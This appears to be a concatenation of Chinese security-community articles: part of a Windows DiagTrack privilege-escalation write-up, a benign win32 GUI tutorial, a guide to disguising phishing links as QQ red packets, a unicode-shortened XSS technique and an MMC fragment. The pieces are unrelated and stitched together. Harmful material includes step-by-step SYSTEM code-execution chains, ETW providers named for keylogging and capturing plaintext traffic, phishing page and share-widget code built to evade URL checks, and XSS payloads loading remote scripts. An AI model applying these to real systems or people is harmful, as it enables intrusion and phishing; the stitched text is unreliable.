文件路径采用基于`System32`目录的相对路径解析方式，因此我在所有用户都具备写权限的目录（`System32\Spool\Drivers\Color`）中存放了一个XML文件，然后传递这个相对文件路径，随后`Diagtrack`成功开始跟踪相关事件。
典型的`WindowsPerformanceRecorder`配置文件至少应该满足如下格式：
<WindowsPerformanceRecorder Version="1">
<Profiles>
<SystemCollector Id="SystemCollector">
<BufferSize Value="256" />
<Buffers Value="4" PercentageOfTotalMemory="true" MaximumBufferSpace="128" />
</SystemCollector>
<EventCollector Id="EventCollector_DiagTrack_1e6a" Name="DiagTrack_1e6a_0">
<BufferSize Value="256" />
<Buffers Value="0.9" PercentageOfTotalMemory="true" MaximumBufferSpace="4" />
</EventCollector>
<SystemProvider Id="SystemProvider" />
<Profile Id="Performance_Desktop.Verbose.Memory" Name="Performance_Desktop"
Description="exploit" LoggingMode="File" DetailLevel="Verbose">
<Collectors>
<SystemCollectorId Value="SystemCollector">
<SystemProviderId Value="SystemProvider" />
</SystemCollectorId>
<EventCollectorId Value="EventCollector_DiagTrack_1e6a">
<EventProviders>
<EventProviderId Value="EventProvider_d1d93ef7" />
</EventProviders>
</EventCollectorId>
</Collectors>
</Profile>
</Profiles>
</WindowsPerformanceRecorder>
## 0x01 信息泄露
由于我们具备该文件的完整控制权限，因此可能有一些攻击机会。该文件中`EventCollector`元素的`Name`属性用来创建跟踪事件的文件名，配置文件对应的文件路径为：
C:\Windows\Temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrackAlternativeLogger_DiagTrack_XXXXXX.etl
其中`XXXXXX`为`Name`属性的值。
由于我们可以控制文件名及路径，因此可以将名字设置为`\..\..\file.txt`，对应的路径为：
C:\Windows\Temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrackAlternativeLogger_DiagTrack\..\..\file.txt:.etl
这将导致目标服务使用的是`C:\Windows\Temp\file.txt`文件。
目标服务会使用`SYSTEM`权限，通过 **[FILE_OVERWRITE_IF](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile)**
参数来打开事件记录文件，因此我们有可能使用`SYSTEM`权限覆盖可写的任何文件。如果在`SYSTEM`可写的路径中附加`::$INDEX_ALLOCATION`，那么也有可能创建文件及目录。
从信息泄露角度来看，能够选择目标服务所执行的ETW Provider本身就是非常有趣的一个攻击点。
如果某个服务在某个目录中创建了一个文件，而我们不具备该目录的权限，导致无法列出相关的文件，此时这种技术就能派上用场。
如下图所示，我们可以借助`Microsoft-Windows-Kernel-File`
Provider，从`etl`文件中获取这些文件名，具体方式是在`WindowsPerformanceRecorder`配置文件中添加`22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716`信息：
<EventData>
<Data Name="Irp">0xFFFF81828C6AC858</Data>
<Data Name="FileObject">0xFFFF81828C85E760</Data>
<Data Name="IssuingThreadId"> 10096</Data>
<Data Name="CreateOptions">0x1000020</Data>
<Data Name="CreateAttributes">0x0</Data>
<Data Name="ShareAccess">0x3</Data>
<Data Name="FileName">\Device\HarddiskVolume2\Users\jonas\OneDrive\Dokumenter\FeedbackHub\DiagnosticLogs\Install and Update-Post-update app experience\2019-12-13T05.42.15-SingleEscalations_132206860759206518\file_14_ProgramData_USOShared_Logs__</Data>
</EventData>
这样我们就可以在貌似无法利用的场景中，通过这种信息泄露营造出利用场景。
其他可以绕过安全设置的Provider包括：
* `Microsoft-Windows-USB-UCX {36DA592D-E43A-4E28-AF6F-4BC57C5A11E8}`
* `Microsoft-Windows-USB-USBPORT {C88A4EF5-D048-4013-9408-E04B7DB2814A}`（捕捉Raw USB数据，实现键盘记录）
* `Microsoft-Windows-WinINet {43D1A55C-76D6-4F7E-995C-64C711E5CAFE}`
* `Microsoft-Windows-WinINet-Capture {A70FF94F-570B-4979-BA5C-E59C9FEAB61B}`（从iexplore、Microsoft Store等中捕捉Raw HTTP流量，这样就能在SSL流未加密前捕捉明文数据）
* `Microsoft-PEF-WFP-MessageProvider`（未加密的IPSEC VPN数据）
## 0x02 代码执行
那么如何将信息泄露漏洞变成代码执行漏洞呢？
尽管我们能控制`.etl`文件的目的路径，但很有可能无法轻松实现代码执行，我们需要找到其他切入点。我们只能部分控制文件内容，导致漏洞利用起来很难。虽然有可能构造可执行的PowerShell脚本或者bat文件，但在执行这些文件时会存在一些问题。
于是我选择另一条路，将活跃的事件记录行为与调用如下函数结合起来：
WINRT_IMPL_AUTO(Windows::Foundation::IAsyncAction) SnapCustomTraceAsync(param::hstring const& outputDirectory)
当我们将`outputDirectory`参数值设置为`%WINDIR%\temp\DiagTrack_alternativeTrace`中的目录时（正在运行的记录事件保存在该目录的`.etl`文件中），我们可以看到一种有趣的行为：
Diagtrack
Service会将`DiagTrack_alternativeTrace`中创建的所有`.etl`文件重命名为`SnapCustomTraceAsync`函数`outputDirectory`参数所指定的目录值。由于文件命名操作导致非特权用户具备源文件创建的目录写权限，因此我们就能实现目的地址的控制权。更具体的原因在于，当执行重命名操作时，DACL并没有发生改动，因此文件和父目录权限会得到继承。这意味着如果我们可以将目的目录设置为`%WINDIR%\System32`，并且以某种方式移动文件，那么我们将仍然具备该文件的写权限。现在我们已经可以控制`SnapCustomTraceAsync`函数的`outputDirectory`参数，但仍然存在一些限制。
如果我们选择的`outputDirectory`并不是`%WINDIR%\temp\DiagTrack_alternativeTrace`的子目录，那么并不会出现重命名操作。`outputDirectory`之所以无效，是因为Diagtrack
Service必须先创建该目录。而在创建该目录时，服务所使用的权限为`SYSTEM`，导致目录所有者也为`Diagtrack
Service`，用户只有`READ`权限。
这里存在问题，因为我们无法将目录变成一个挂载点。即使我们具备所需的权限，由于`Diagtrack`会将输出的`etl`文件放在该目录中，因此我们无法清空该目录，导致无法继续利用。幸运的是，我们可以在目标`outputDirectory`以及`DiagTrack_alternativeTrace`间创建2级间接关系来绕过该问题。
我们可以创建`DiagTrack_alternativeTrace\extra\indirections`目录，将`%WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap`作为`outputDirectory`参数值，以便让`Diagtrack`使用有限的权限来创建`snap`目录（因为我们位于`DiagTrack_alternativeTrace`目录中）。通过这种方式，我们可以重命名`extra`目录（因为该目录由我们所创建）。由于`Diagtrack`会打开目录中的文件，因此这种2级间接关系非常有必要，可以绕过目录锁定。当重命名`extra`后，我们可以重新创建`%WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap`（现在为空目录）。并且由于我们是所有者，因此具备完整权限。
现在我们可以将`DiagTrack_alternativeTrace\extra\indirections\snap`变成挂载点，指向`%WINDIR%\system32`，然后`Diagtrack`会将匹配`WPR_initiated_DiagTrack*.etl*`的所有文件移动到`%WINDIR%\system32`。由于这些文件在用户具备`WRITE`权限的目录中创建，因此仍然处于可写状态。不幸的是，具备`System32`中某个目录的完整控制权限并不足以实现代码执行，除非我们找到用户能够控制文件名的方法（比如
**[James Forshaw](https://twitter.com/tiraniddo)**
提供的DiagnosticHub插件方法）。然而情况稍微有点不同，`DiagnosticHub`现在要求加载的DLL必须经过微软签名，但如果文件名满足某些特殊条件，我们还是可以在`SYSTEM`安全上下文中执行DLL文件。这里还有另一个问题：文件名不可控，我们如何克服该困难呢？
我们可以不将挂载点指向`System32`目标，而是指向NT命名空间中的Object
Directory（对象目录），并且创建于重命名目标文件同名的符号链接，这样我们就可以控制文件名，此时符号链接目标将会变成重命名操作的目标。比如，如果我们将其设置为`\??\%WINDIR%\system32\phoneinfo.dll`，那么我们将具备某个文件的写权限，而当错误报告在进程外提交时，Error
Reporting服务将会加载并执行这个文件。在设置挂载点目标时，我选择的是`\RPC Control`，因为所有用户都可以在其中创建符号链接。
让我们来试一下。
我们原以为`Diagtrack`会完成重命名操作，然而什么事情都没有发生。这是因为在重命名操作完成前，目标处于被打开状态，但现在已经变成一个对象目录。这意味着该目录无法通过文件/目录API调用来打开。我们可以设置创建挂载点的时机，使其晚于目录打开操作，但早于重命名操作前。通常在这种情况下，我会在目标目录中创建一个文件，文件名与重命名的目标文件名相同。然后我会在文件上设置一个OPLOCK，当锁被触发时，代表目录检查已完成，即将执行重命名操作。在释放锁之前，我将文件移动到另一个目录，将挂载点设置为现在这个空目录。但这种方法并不适用于这个场景，因为重命名操作无法覆盖已经存在的文件。这也意味着重命名操作由于文件的存在会被中断，不会触发OPLOCK。
在即将放弃时，我突然想到一件事：
如果我每隔1毫秒来回切换指向有效目录与对象目录的连接点，那么在完成目录检查时，有50%的机会能指向正常的有效目录。而在重命名操作发生时，有50%的机会能够指向对象目录。这样重命名操作就有25%的机会成功完成，最终变成`System32`中的`phoneinfo.dll`文件。我尝试过尽可能避免这种竞争条件，但在这种场景下，我的确没有找到其他可用的方法。我可以通过不断重复该过程，从而弥补各种失败的操作。为了调整失败的可能性，我决定触发任意数量的重命名操作。幸运的是，这里我们的确可以在同一个记录行为中触发尽可能多的重命名操作。重命名操作并不会链接到`Diagtrack`服务已创建的文件，因此唯一要满足的要求是这些文件位于`%WINDIR%\temp\DiagTrack_alternativeTrace`中，并且匹配`WPR_initiated_DiagTrack*.etl*`。
由于我们能够在目标目录中创建文件，因此现在可以创建`WPR_initiated_DiagTrack0.etl`、`WPR_initiated_DiagTrack1.etl`等，这些文件都会被重命名。
由于我们的目标是让其中有个文件变成`System32`中的`phoneinfo.dll`，那么为什么不将这些文件创建成指向特定payload的硬链接呢？通过这种方式，我们不需要在文件被移动后，使用`WRITE`权限来覆盖目标文件。
经过一些实验后，我找到了如下解决方案：
1、创建`%WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections`文件夹。
2、开始诊断跟踪，服务创建`%WINDIR%\temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrackAlternativeLogger_WPR
System Collector.etl`。
3、创建`%WINDIR%\temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrack[0-100].etl`硬链接，指向payload。
4、创建符号链接`\RPC
Control\WPR_initiated_DiagTrack[0-100.]etl`，指向`%WINDIR%\system32\phoneinfo.dll`。
5、在`WPR_initiated_DiagTrack100.etl`上设置OPLOCK，当触发时，检查`%WINDIR%\system32\phoneinfo.dll`是否存在。如果不存在，则重复创建`WPR_initiated_DiagTrack[].etl`文件，匹配符号链接。
6、在`WPR_initiated_DiagTrack0.etl`上设置OPLOCK，当触发时，我们知道重命名流程已开始，但第一个重命名操作尚未发生。
此时，我们执行如下操作：
1、将`%WINDIR%\temp\DiagTrack_alternativeTrace\extra`重命名为`%WINDIR%\temp\DiagTrack_alternativeTrace\{RANDOM-GUID}`。
2、创建`%WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap`目录。
3、开启循环线程，来回切换`%WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap`挂载点，使其指向`%WINDIR%\temp\DiagTrack_alternativeTrace\extra`以及NT对象命名空间中的`\RPC
Control`。
4、开始快照跟踪，将`outputDirectory`的值设置为`%WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap`。
在执行上述操作时，有100个文件被重命名。如果这些文件都没有变成`System32`中的`phoneinfo.dll`，则重复攻击流程，直到成功为止。
然后我在切换连接点的线程中添加了检查逻辑，检查系统中是否存在`%WINDIR%\system32\phoneinfo.dll`。如果增加切换挂载点的时间间隔，似乎也能增加创建`phoneinfo.dll`的成功机会。经过测试后，前100次迭代就能成功重命名该文件。
当检查到`%WINDIR%\system32\phoneinfo.dll`时，会有一个空白的错误报告被提交至Windows Error
Reporting服务，并且报告被配置为进程外提交，从而导致`wermgmr.exe`加载我们在`SYSTEM`安全上下文中刚创建的`phoneinfo.dll`。
我选择的payload为一个DLL，在`DLL_PROCESS_ATTACH`时，payload会检查`SeImpersonatePrivilege`特权。如果启用了该特权，就会在当前活动的桌面中生成一个`cmd.exe`。如果没有具备该特权，那么也会生成其他命令提示符，因为启动错误报告的进程也会尝试加载`phoneinfo.dll。`
此外，我还使用`WTSSendMessage`来发送消息，这样即使命令提示符无法在正确的会话/桌面中生成，我们也能得到操作成功的提示消息。
上图中命令提示符之所以为红色背景，是因为我的命令提示符会自动执行``echo test> C:\windows:stream && color
4E`;`，这样所有通过UAC提升的命令提示符背景都会变成红色，便于我更好地识别。
虽然我公布的[代码](https://github.com/thesecretclub/diagtrack/blob/master/example.cpp)中包含一些私有库，但应该能帮助大家从整体层面理解相关原理。 | 社区文章 |
# 深入理解win32（三）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在上一节中我们了解了win32的入口函数、ESP与回调函数，以及如何在od里定位这些结构，这一节我们来对子窗口和在od中如何定位消息处理函数进行探究。
## 子窗口
### 在窗口中创建按钮
我们知道创建窗口使用到`CreateWindow`这个api，在前面我们已经提到过这个api，这里我们再来看一下它的结构
void CreateWindow(
[in, optional] lpClassName, // 窗口类名称
[in, optional] lpWindowName, // 窗口标题
[in] dwStyle, // 窗口风格，或称窗口格式
[in] x, // 初始 x 坐标
[in] y, // 初始 y 坐标
[in] nWidth, // 初始 x 方向尺寸
[in] nHeight, // 初始 y 方向尺寸
[in, optional] hWndParent, // 父窗口句柄
[in, optional] hMenu, // 窗口菜单句柄
[in, optional] hInstance, // 程序实例句柄
[in, optional] lpParam // 创建参数
);
那么我们创建一个窗口并在窗口中创建一个普通按钮
void CreateButton(HWND hwnd)
{
HWND hwndPushButton;
hwndPushButton = CreateWindow (
TEXT("button"),
TEXT("普通按钮"),
//WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | BS_DEFPUSHBUTTON,
WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | BS_DEFPUSHBUTTON,
10, 10,
80, 20,
hwnd, //父窗口句柄
(HMENU)1001, //子窗口ID
hAppInstance,
NULL);
}
这里的`hAppInstance`本来为当前应用程序的句柄，这里把`hAppInstance`定义为全局变量，即`HINSTANCE
hAppInstance;`
还有一个要注意的点是`button`不能够独立存在，所以这里需要用父窗口的句柄，而且这个函数需要在窗口创建出来之后才能使用，所以这里要放在创建窗口的后面
这里编译一下，在我们之前创建的第一个窗口里面就出现了一个普通按钮
这里探究一下`WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON |
BS_DEFPUSHBUTTON`这几个参数，在[https://docs.microsoft.com/en-us/windows/win32/winmsg/window-styles里有完整的对于`dwStyle`这个参数可设置的值](https://docs.microsoft.com/en-us/windows/win32/winmsg/window-styles%E9%87%8C%E6%9C%89%E5%AE%8C%E6%95%B4%E7%9A%84%E5%AF%B9%E4%BA%8E%60dwStyle%60%E8%BF%99%E4%B8%AA%E5%8F%82%E6%95%B0%E5%8F%AF%E8%AE%BE%E7%BD%AE%E7%9A%84%E5%80%BC)
> **WS_CHILD** Creates a child window. Cannot be used with the **WS_POPUP**
> style.
>
> **WS_VISIBLE** Creates a window that is initially visible.
>
> **BS_PUSHBUTTON** Creates a pushbutton that posts a **WM_COMMAND** message
> to the owner window when the user selects the button.
>
> **BS_DEFPUSHBUTTON** Creates a button that has a heavy black border. The
> user can select this button by pressing the ENTER key. This style enables
> the user to quickly select the most likely option (the default option).
那么这里我们也可以生成其他的按钮，如复选框、单选按钮等等，这里都是通过改变`dwStyle`这个参数来达到实现不同按钮样式的效果，实现代码如下
void CreateButton(HWND hwnd)
{
HWND hwndPushButton;
HWND hwndCheckBox;
HWND hwndRadio;
hwndPushButton = CreateWindow (
TEXT("button"),
TEXT("普通按钮"),
//WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | BS_DEFPUSHBUTTON,
WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | BS_DEFPUSHBUTTON,
10, 10,
80, 20,
hwnd,
(HMENU)1001, //子窗口ID
hAppInstance,
NULL);
hwndCheckBox = CreateWindow (
TEXT("button"),
TEXT("复选框"),
//WS_CHILD | WS_VISIBLE | BS_CHECKBOX | BS_AUTOCHECKBOX,
WS_CHILD | WS_VISIBLE | BS_CHECKBOX |BS_AUTOCHECKBOX ,
10, 40,
80, 20,
hwnd,
(HMENU)1002, //子窗口ID
hAppInstance,
NULL);
hwndRadio = CreateWindow (
TEXT("button"),
TEXT("单选按钮"),
//WS_CHILD | WS_VISIBLE | BS_RADIOBUTTON | BS_AUTORADIOBUTTON,
WS_CHILD | WS_VISIBLE | BS_RADIOBUTTON ,
10, 70,
80, 20,
hwnd,
(HMENU)1003, //子窗口ID
hAppInstance,
NULL);
}
编译过后我们就能得到拥有三个按钮的窗口了
### 按钮事件的处理
在自己创建窗口的时候第一行应该定义一个类，但是在创建button的时候这里直接就可以使用。是因为系统已经定义好了常用的一些窗口函数，即按钮的`WNDCLASS`不是我们定义的，是系统预定义好的。
这里我们如果我们想看一下button究竟是怎样定义的`WNDCLASS`，就可以调用`GetClassName`函数找到类名存到`szBuffer`分配的缓冲区里
TCHAR szBuffer[0x20];
GetClassName(hwndPushButton,szBuffer,0x20);
**GetClassName**
这里看一下`GetClassName()`这个函数
int GetClassName(
HWND hWnd, // handle to window
LPTSTR lpClassName, // class name
int nMaxCount // size of class name buffer
);
> * _hWnd_
>
>
> [in] Handle to the window and, indirectly, the class to which the window
> belongs.
>
> * _lpClassName_
>
>
> [out] Pointer to the buffer that is to receive the class name string.
>
> * _nMaxCount_
>
>
> [in] Specifies the length, in **TCHARs** , of the buffer pointed to by the
> _lpClassName_ parameter. The class name string is truncated if it is longer
> than the buffer.
`lpClassName`为out参数，指向缓冲区地址（即存放类函数），`nMaxCount`是给缓冲区分配的空间大小
然后查看具体信息
WNDCLASS wc;
GetClassInfo(hAppInstance,szBuffer,&wc);
OutputDebugStringF("-->%s\n",wc.lpszClassName);
OutputDebugStringF("-->%x\n",wc.lpfnWndProc);
**GetClassInfo**
这里又用到一个api函数`GetClassInfo()`
BOOL GetClassInfo(
HINSTANCE hInstance, // handle to application instance
LPCTSTR lpClassName, // class name
LPWNDCLASS lpWndClass // class data
);
> * _hInstance_ [in] Handle to the instance of the application that created
> the class. To retrieve information about classes defined by the system (such
> as buttons or list boxes), set this parameter to NULL.
> * _lpClassName_ [in] Pointer to a null-terminated string containing the
> class name. The name must be that of a preregistered class or a class
> registered by a previous call to the [**RegisterClass**](winclass_70s3.htm)
> or [**RegisterClassEx**](winclass_0wc8.htm) function. Alternatively, this
> parameter can be an atom. If so, it must be a class atom created by a
> previous call to **RegisterClass** or **RegisterClassEx**. The atom must be
> in the low-order word of _lpClassName_ ; the high-order word must be zero.
> * _lpWndClass_ [out] Pointer to a [**WNDCLASS**](winclass_8yk2.htm)
> structure that receives the information about the class.
>
`hInstance`是函数的`ImageBase`，`lpClassName`是前面得到的缓冲区，`lpWndClass`为out参数，将结构的信息写到`lpWndClass`所在的地址
然后再使用`wc`这个结构体打印信息，这里使用`lpszClassName`和`lpfnWndProc`打印地址
继续探究，这里当我不点击这几个按钮所在的区域的时候，会产生消息，但是当我点击这几个按钮的时候是不会显示消息的，这里不会显示不代表没有产生消息，只是这里因为这几个按钮是子窗口，所以这里的消息不会在父窗口里的消息函数中直接输出显示，按钮是一种特殊的窗体，并不需要提供单独的窗口回调函数。
当按钮有事件产生时，会给父窗口消息处理程序发送一个`WM_COMMAND`消息，我们就需要增加一个`WM_COMMAND`函数
也就是说在子窗口调用`WinProc`的时候需要用`WM_COMMAND`去调用父窗口的`WinProc`
这里添加代码对我们的猜想进行验证
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case 1001:
MessageBox(hwnd,"Hello Button 1","Demo",MB_OK);
return 0;
}
return DefWindowProc(hwnd,uMsg,wParam,lParam);
}
这里出现了弹框证明了我们的猜想成功。
那么到这个地方我们就已经实现了创建窗口、创建按钮的操作，这里我们再去od里面看一下消息堆栈以及事件处理怎样定位。
### 消息堆栈
F7生成release版本进行调试，拖入od定位回调函数的地址为`00401260`
在`401260`处下断点，这里返回的为消息类型
我们看一下`WM_COMMAND`的`WindowProc`的结构
LRESULT CALLBACK WindowProc(
HWND hwnd, // handle to window
WM_COMMAND, // the message to send
WPARAM wParam, // notification code and identifier
LPARAM lParam // handle to control (HWND)
);
> * _wParam_ The high-order word specifies the notification code if the
> message is from a control. If the message is from an accelerator, this value
> is 1. If the message is from a menu, this value is zero. The low-order word
> specifies the identifier of the menu item, control, or accelerator.
> * _lParam_ Handle to the control sending the message if the message is
> from a control. Otherwise, this parameter is NULL.
>
回调函数的堆栈如图所示，我们是通过地址跳转到`401260`这个地址，那么esp还是在`WindowProC`结构处不变，所以`esp+0x8`就是指向的`uMsg`的值，即消息类型
### 按钮事件定位
这里再去找`WM_COMMAND`这个消息类型，我们知道在回调函数里面我们给按钮定义的消息就是`WM_COMMAND`，代码如下
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case 1001:
MessageBox(hwnd,"Hello Button 1","Demo",MB_OK);
return 0;
case 1002:
MessageBox(hwnd,"Hello Button 2","Demo",MB_OK);
return 0;
case 1003:
MessageBox(hwnd,"Hello Button 3","Demo",MB_OK);
return 0;
}
那么我们通过`esp+8`来定位到`WM_COMMAND`
这里我点击父窗口(即三个按钮之外的地方)的时候是没有反应的
当我点击子窗口的时候发现已经暂停
再运行一下，有了弹窗
这里就有一个问题，当我们点击每一个按钮的时候都会触发断点，所以我们需要想一个方法来断指定的按钮，这里就需要用到`wParam`
例如我只想断复选框，这里找到十六进制情况下的ID为`000003EA`
再添加条件，使用&&符号必须同时满足才会断点
当我点普通按钮的时候是不断的
当我点击复选框之后就暂停了，就可以找到指定按钮的消息在od里面的定位 | 社区文章 |
# 伪装QQ红包&绕过URL检测
|
##### 译文声明
本文是翻译文章，文章来源：mtfly@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**一、绕过PC端恶意URL提示**
“腾讯外部漏洞报告处理流程”中提到了一个越权的url检测网址[http://www.qq.com_521_qq_diao_yu_wangzhan_789.com/
](http://www.qq.com_521_qq_diao_yu_wangzhan_789.com/)直接发出来的话肯定是提示恶意链接的。
(其实可以手机QQ是无法正常识别出这个url的,所以希望能够改进一下手机客户端的URL识别。)
并且是无法直接打开的,只能复制url。
直接用QQ浏览器的手机采用打开,刚开始是提示恶意链接,不用管,然后点击分享
分享给QQ好友以后,手机还有PC上分别显示为
PC:
手机QQ:
PC端已经不再红色恶意链接提示了。可直接打开url。
此时测试结果:
PC端QQ URL检测:绕过
手端QQ URL检测:提示
欺骗性:弱
**二、伪装“红包”**
只是这种绕过恶意url检测,是没有多大意义的,毕竟很多用户又不傻,不会去点击类似这种:
的链接的。下面就去改进一下,首先我们需要一个被腾讯报恶意链接并且可控的网站。(毕竟钓鱼网站都是可控的):
<http://www.bzxlcj.com/>
添加一个test.html
<html>
<head>
<meta itemprop="name" content="发红包啦!">
<meta itemprop="image" content="https://mqq-imgcache.gtimg.cn/res/mqq/hongbao/img/message_logo_100.png">
<meta name="description" itemprop="description" content="赶紧点击拆开吧!">
<meta http-equiv="Content-Language" content="zh-CN">
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
<title></title>
</head>
<body>
钓鱼网站
</body>
</html>
这时候发出来还是会报恶意url
还是用手机QQ打开(会有恶意提示)
,并且分享给QQ好友。
(经过测试,发现这个拉取摘要的过程并不是在本地进行的。)
PC端还有手机QQ端分别显示为
PC:
手机QQ:
这样就可以达到欺骗用户的目的了。
此时测试结果:
PC端QQ URL检测:绕过
手端QQ URL检测:提示
欺骗性:中
**三、绕过手机端QQ恶意url检测**
其实一二两种情况只能绕过PC端,局限性非常大!下面来绕过手机端的恶意url检测。
当手机QQ打开一个连接的时候
[http://111.161.83.162/cgi-bin/httpconn?htcmd=0x6ff0080&u=http%3A%2F%2Fwww.bzxlcj.com%2Ftest.html](http://111.161.83.162/cgi-bin/httpconn?htcmd=0x6ff0080&u=http%3A%2F%2Fwww.bzxlcj.com%2Ftest.html)
这是一个url跳转链接,类似的还有很多,之前有人在wooyun上报过此类的url跳转,腾讯之所以不认为是漏洞,是因为这种跳转会对url进行恶意url检测,一旦发现是恶意的url,那么将会自动进行屏蔽!
所以我们想要绕过就很简单,就是绕过这个url检测机制即可。
首先把<http://www.bzxlcj.com/test.html>转换成短域名
[http://t.cn/RyGbYXw](http://t.cn/RyGbYXw)
当我直接给好友发送短域名的时候,是这么显示的
PC:
手机QQ:
这个时候打开已经无提示了。
有人说,这不就是一个普通的跳转么?怎么能算一个漏洞?可以看到手机是直接解析短域名的302跳转,去读取概要的。既然已经可以进行跳转了,并且读取出概要解析成链接形式了,为什么不再进行一次检测呢?漏洞的关键就出在这里!
当然这样有一个弊端,就是电脑是不显示红包效果的。只是一个跳转链接。
我们可以这么解决,
1.随便找个好友发送信息<http://t.cn/RyGbYXw>
2.断网,打开网址,并且稍等知道出现无法连接。此时网站是不进行跳转的。
3.连网,点击分享给好友。
这个时候转发出来,就是完美的过手机+PC恶意url检测机制,并且伪装红包。
手机端:
PC端:
PC端QQ URL检测:绕过
手端QQ URL检测:绕过
欺骗性:中
最终版:修改PC端角标&一键生成
还有两个问题:
1.右下角有QQ浏览器字样
2.太TM麻烦了!
有没有简单一键生成的!,并且左下角显示QQ红包的啊!?
有!
一键生成版:
[http://connect.qq.com/widget/shareqq/index.html?url=http%3A%2F%2Fmtfly.net&desc=&title=%E5%8F%91%E7%BA%A2%E5%8C%85%E5%95%A6%EF%BC%81&summary=%E8%B5%B6%E7%B4%A7%E7%82%B9%E5%87%BB%E6%8B%86%E5%BC%80%E5%90%A7%EF%BC%81&pics=http%3A%2F%2Fmqq-imgcache.gtimg.cn%2Fres%2Fmqq%2Fhongbao%2Fimg%2Fmessage_logo_100.png&flash=&site=QQ%E7%BA%A2%E5%8C%85&style=101&width=96&height=24&showcount=](http://connect.qq.com/widget/shareqq/index.html?url=http%3A%2F%2Fmtfly.net&desc=&title=%E5%8F%91%E7%BA%A2%E5%8C%85%E5%95%A6%EF%BC%81&summary=%E8%B5%B6%E7%B4%A7%E7%82%B9%E5%87%BB%E6%8B%86%E5%BC%80%E5%90%A7%EF%BC%81&pics=http%3A%2F%2Fmqq-imgcache.gtimg.cn%2Fres%2Fmqq%2Fhongbao%2Fimg%2Fmessage_logo_100.png&flash=&site=QQ%E7%BA%A2%E5%8C%85&style=101&width=96&height=24&showcount=)
web版:
<script type="text/javascript">
(function(){
var p = {
url:'http://mtfly.net',
desc:'',
title:'发红包啦!',
summary:'赶紧点击拆开吧!',
pics:'https://mqq-imgcache.gtimg.cn/res/mqq/hongbao/img/message_logo_100.png',
flash: '',
site:'QQ红包',
style:'101',
width:96,
height:24
};
var s = [];
for(var i in p){
s.push(i + '=' + encodeURIComponent(p[i]||''));
}
document.write(['<a href="http://connect.qq.com/widget/shareqq/index.html?',s.join('&'),'" target="_blank">分享到QQ</a>'].join(''));
})();
</script>
<script src="http://connect.qq.com/widget/loader/loader.js" widget="shareqq" charset="utf-8"></script>
其实这就是腾讯的分享组件修改的。<http://connect.qq.com/intro/sharetoqq/>
PC:
手机:
完美!
PS:其实腾讯的恶意url跳转是指网站url跳转的时候的恶意url判断,比如http://111.161.83.162/cgi-bin/httpconn?htcmd=0x6ff0080&u=http%3A%2F%2Fwww.bzxlcj.com%2Ftest.html
我上面的理解有些偏差吧。 | 社区文章 |
跨站点脚本攻击是web渗透测试中最常见的漏洞之一。但是由于注入点字符限制的问题，有时payload无法执行成功，在这篇文章中，将利用unicode兼容性来突破这一限制。
### unicode的兼容性
在unicode等价里一些字符的序列有相同的含义。
该特性被引入到标准中，以便与现有的标准字符集兼容，unicode有两种方法处理这种兼容性和规范等价性。
1、规范等价性：一些有着相同外形的字符序列也被认为有着相同的含义，如：n + ◌̃ = ñ。
2、兼容等价性：一些字符的外形可能不同，但是在某些情况下含义相同，如：ff字符等价于ff
20个字符的兼容性
因此，假设payload长度被限制，我们可以用如下这个不超过20个字符的payload：
`<svg/onload=alert``>`
这个payload只能简单弹个框，并不能展示xss的危害，例如加载外部JavaScript文件`<script
src=//aa.es>`，让我们能更灵活地准备更复杂的XSS攻击。
这样的短payload可以实现输入20个字符加载远程JavaScript文件。但是弊端就是后面加载远程JavaScript文件的短域名早已经被注册或者购买价格太昂贵。
### unicode字符的利用
浏览器对某些unicode字符具有兼容性，例如payload：
`<script src=//ffff.pw>`
注意：ff是一个字符，但是当浏览器解析时，ff被扩展为ff。这种特性可以用更便宜的方式购买更具有影响力的域名：
ff 扩展为 ff
℠ 扩展为 sm
㏛ 扩展为 sr
st 扩展为 st
㎭ 扩展为 rad
℡ 扩展为 tel
更多类似的unicode字符请参考：<https://www.unicode.org/charts/normalization/>
可以在这里查看unicode字符被浏览器解析后的样子：<https://www.compart.com/en/unicode/U+2121>
比如，我们注册域名telsr.pw这个例子只花1.28美元。
最终payload是这样的：
`<script src=//℡㏛.pw>`
让我们来看看这个过程是怎么发生的，20个字符是如何解析为23个字符的：
### Next Steps
所以Payload可以用已经注册的域名再缩短长度，但是还没有达到什么目的。
DNS重定向这个方法出现在我脑海：
1、XSS被触发然后浏览器尝试去加载telsr.pw的内容
2、DNS重定向到域名xsshunter.com，执行XSS攻击
3、XSS攻击成功
但是这里会有一个问题，如果连接使用的是HTTPS协议，payload使用的是src=\url，HTTP变成了HTTPS，当DNS重定向到另外一个站点时，会产生SSL证书不匹配并且Javascript文件无法加载。
如果连接使用的HTTP就不会有这个问题，但这不是常见场景。
可以通过如下方法来解决：
1、购买一个主机给域名用，我是在namecheap.com上买的，最便宜的是1.44美元/月
2、设置一个HTTPS证书，第一年是免费的
3、在控制面板中，转到重定向功能页面并设置重定向到恶意Javascript文件所在的位置。这不是DNS重定向，而是服务器重定向，所以不会出现证书不匹配错误，因为url提供了在步骤2中生成的有效证书
4、执行重定向并触发执行
### 参考
<https://en.wikipedia.org/wiki/Unicode_equivalence>
<https://medium.com/@mohamedd> | 社区文章 |
Microsoft Management Console
(MMC)是微软管理控制台，是一个专门用于管理的控制台。其设计主要用于为Windows管理员提供一个统一的、规范的管理接口和操作平台。
